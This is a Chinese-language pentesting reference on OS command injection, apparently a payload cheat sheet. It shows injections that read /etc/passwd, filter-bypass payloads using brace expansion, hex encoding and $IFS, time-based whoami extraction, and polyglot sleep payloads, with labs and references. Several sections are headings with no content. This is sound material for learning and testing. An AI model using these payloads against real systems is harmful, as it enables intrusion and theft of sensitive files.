命令注入 (Command Injection)
命令注入是一种安全漏洞,允许攻击者在易受攻击的应用程序内部执行任意操作系统命令。
摘要 (Summary)
- 工具 (#tools)
- 方法论 (#methodology)
- 过滤器绕过 (#filter-bypasses)
- 无空格绕过 (#bypass-without-space)
- 换行符绕过 (#bypass-with-a-line-return)
- 反斜杠+换行符绕过 (#bypass-with-backslash-newline)
- 波浪号展开绕过 (#bypass-with-tilde-expansion)
- 大括号展开绕过 (#bypass-with-brace-expansion)
- 字符过滤器绕过 (#bypass-characters-filter)
- 十六进制编码绕过字符过滤器 (#bypass-characters-filter-via-hex-encoding)
- 单引号绕过 (#bypass-with-single-quote)
- 双引号绕过 (#bypass-with-double-quote)
- 反引号绕过 (#bypass-with-backticks)
- 反斜杠和斜杠绕过 (#bypass-with-backslash-and-slash)
- 使用 $@ 绕过 (#bypass-with-)
- 使用 $() 绕过 (#bypass-with--1)
- 变量展开绕过 (#bypass-with-variable-expansion)
- 通配符绕过 (#bypass-with-wildcards)
- 随机大小写绕过 (#bypass-with-random-case)
- 数据外带 (#data-exfiltration)
- 多重语言命令注入 (Polyglot Command Injection)
- 技巧 (#tricks)
- 实验环境 (#labs)
- 参考资料 (#references)
工具 (Tools)
- commixproject/commix - 自动化的一站式操作系统命令注入和利用工具。
- projectdiscovery/interactsh - 带外 (OOB) 交互收集服务器和客户端库。
方法论 (Methodology)
命令注入,也称为 shell 注入,是一种攻击者可以通过易受攻击的应用程序在主机操作系统上执行任意命令的攻击类型。当应用程序将不安全的、由用户提供的数据(表单、Cookie、HTTP 标头等)传递给系统 shell 时,就可能存在这种漏洞。在此背景下,系统 shell 是一个处理要执行命令的命令行界面,通常在 Unix 或 Linux 系统上。
命令注入的危险在于它可能允许攻击者执行系统上的任何命令,从而可能导致系统完全被控制。
PHP 中的命令注入示例: 假设您有一个 PHP 脚本,它接收用户输入来 ping 指定的 IP 地址或域名:
在上面的代码中,PHP 脚本使用 system() 函数执行 ping 命令,其 IP 地址或域名由用户通过 ip GET 参数提供。
如果攻击者提供的输入如 8.8.8.8; cat /etc/passwd,实际执行的命令将是:ping -c 4 8.8.8.8; cat /etc/passwd。
这意味着系统会先执行 ping 8.8.8.8,然后执行 cat /etc/passwd 命令,这将显示 /etc/passwd 文件的内容,可能会泄露敏感信息。
基本命令 (Basic Commands)
执行命令,大功告成 :p
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
命令链 (Chaining Commands)
在许多命令行界面中,尤其是类 Unix 系统,有几种字符可以用来链接或操纵命令。
;(分号):允许您按顺序执行多个命令。&&(与):仅在第一个命令成功(返回零退出状态)时执行第二个命令。||(或):仅在第一个命令失败(返回非零退出状态)时执行第二个命令。&(后台):在后台执行命令,允许用户继续使用 shell。|(管道):获取第一个命令的输出并将其用作第二个命令的输入。
command1; command2 # 执行 command1,然后执行 command2
command1 && command2 # 仅当 command1 成功时执行 command2
command1 || command2 # 仅当 command1 失败时执行 command2
command1 & command2 # 在后台执行 command1
command1 | command2 # 将 command1 的输出作为 command2 的输入
参数注入 (Argument Injection)
当您只能向现有命令追加参数时实现命令执行。 使用此网站 Argument Injection Vectors - Sonar 查找可注入以获得命令执行的参数。
-
Chrome
-
SSH
-
psql
参数注入可以利用 worstfit 技术进行。
在以下示例中,Payload " --use-askpass=calc " 使用的是全角双引号 (U+FF02) 而不是常规双引号 (U+0022):
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
有时,注入可能无法直接执行命令,但您可能能够将流重定向到特定文件中,从而部署 Web Shell。
-
curl
在命令内部 (Inside A Command)
- 使用反引号进行命令注入。
- 使用替换进行命令注入。
过滤器绕过 (Filter Bypasses)
无空格绕过 (Bypass Without Space)
$IFS是一个特殊的 shell 变量,称为内部字段分隔符。默认情况下,在许多 shell 中,它包含空白字符(空格、制表符、换行符)。在命令中使用时,shell 会将$IFS解释为空格。在ls、wget等命令中,$IFS不能直接作为分隔符;请改用${IFS}。
- 在某些 shell 中,大括号展开可以生成任意字符串。执行时,shell 会将大括号内的条目视为单独的命令或参数。
- 输入重定向。
<字符告诉 shell 读取指定文件的内容。
- ANSI-C 引用 (ANSI-C Quoting)
- 制表符 (Tab) 有时可以作为空格的替代方案。在 ASCII 中,制表符由十六进制值
09表示。
- 在 Windows 中,
%VARIABLE:~start,length%是用于对环境变量进行子字符串操作的语法。
换行符绕过 (Bypass With A Line Return)
命令也可以通过换行符按顺序运行:
反斜杠+换行符绕过 (Bypass With Backslash Newline)
- 命令可以通过使用反斜杠后跟换行符来拆分为多个部分:
- URL 编码形式如下所示:
波浪号展开绕过 (Bypass With Tilde Expansion)
大括号展开绕过 (Bypass With Brace Expansion)
{,ip,a}
{~,ifconfig}
{~,ifconfig,eth0}
{l,-lh}s
{~,echo,#test}
{~,$"whoami",}
{~,/?s?/?i?/c?t,/e??/p??s??,}
字符过滤器绕过 (Bypass Characters Filter)
在没有反斜杠和斜杠的情况下执行命令 - Linux Bash:
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
十六进制编码绕过字符过滤器 (Bypass Characters Filter Via Hex Encoding)
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
单引号绕过 (Bypass With Single Quote)
双引号绕过 (Bypass With Double Quote)
反引号绕过 (Bypass With Backticks)
反斜杠和斜杠绕过 (Bypass With Backslash and Slash)
使用 $@ 绕过 (Bypass With $@)
$0:指代脚本的名称(如果是作为脚本运行)。如果您处于交互式 shell 会话中,$0 通常会提供该 shell 的名称。
使用 $() 绕过 (Bypass With $())
变量展开绕过 (Bypass With Variable Expansion)
通配符绕过 (Bypass With Wildcards)
随机大小写绕过 (Bypass With Random Case)
Windows 在解释命令或文件路径时不区分字母的大小写。例如,DIR、dir 或 DiR 都会执行相同的 dir 命令。
数据外带 (Data Exfiltration)
基于时间的数据外带 (Time Based Data Exfiltration)
逐个字符提取数据,并根据延迟判断正确的值。
- 正确的值:等待 5 秒
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
- 错误的值:无延迟
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
基于 DNS 的数据外带 (Dns Based Data Exfiltration)
基于来自 HoLyVieR/dnsbin 的工具,同时也托管在 dnsbin.zhack.ca。
- 前往 dnsbin.zhack.ca
- 执行一个简单的 'ls' 命令:
检查基于 DNS 数据外带的在线工具:
多重语言命令注入 (Polyglot Command Injection)
多重语言 (Polyglot) 是一段可以同时在多种编程语言或环境中有效并可执行的代码。当我们谈论“多重语言命令注入”时,是指一段可以在多种上下文或环境中执行的注入 Payload。
- 示例 1:
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# 在带有单引号和双引号的命令上下文中:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
- 示例 2:
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
# 在带有单引号和双引号的命令上下文中:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
技巧 (Tricks)
后台运行耗时命令
在某些情况下,您可能会遇到运行时间过长、因注入进程超时而被终止的命令。使用 nohup,您可以使进程在父进程退出后继续运行。
移除注入点后的参数
在类 Unix 命令行界面中,-- 符号用于表示命令选项的结束。在 -- 之后,所有参数都被视为文件名和参数,而不再视为可选项。
实验环境 (Labs)
- PortSwigger - 操作系统命令注入,简单案例
- PortSwigger - 带有时间延迟的盲操作系统命令注入
- PortSwigger - 带有输出重定向的盲操作系统命令注入
- PortSwigger - 带有带外交互的盲操作系统命令注入
- PortSwigger - 带有带外数据外带的盲操作系统命令注入
- Root Me - PHP - 命令注入
- Root Me - 命令注入 - 过滤器绕过
- Root Me - PHP - assert()
- Root Me - PHP - preg_replace()
挑战 (Challenge)
基于之前的技巧,以下命令的作用是什么:
注意:此命令运行是安全的,但您不应该完全信任我。
参考资料 (References)
- 参数注入并规避 Shellwords.escape - Etienne Stalmans - 2019年11月24日
- 参数注入向量 - SonarSource - 2023年2月21日
- 回到未来:横行的 Unix 通配符 - Leon Juranic - 2014年6月25日
- 通过字符串操纵进行 Bash 混淆 - Malwrologist, @DissectMalware - 2018年8月4日
- Bug Bounty 调查 - Windows RCE 无空格 - 2017年5月4日
- 无 PHP, 无空格, 无 $, 无 {}, 仅限 Bash - Sven Morgenroth - 2017年8月9日
- OS 命令注入 - PortSwigger - 2024年
- SECURITY CAFÉ - 利用基于时间的 RCE - Pobereznicenco Dan - 2017年2月28日
- TL;DR: 如何利用/绕过/使用 PHP escapeshellarg/escapeshellcmd 函数 - kacperszurek - 2018年4月25日
- WorstFit: 揭秘 Windows ANSI 隐藏的转换器! - Orange Tsai - 2025年1月10日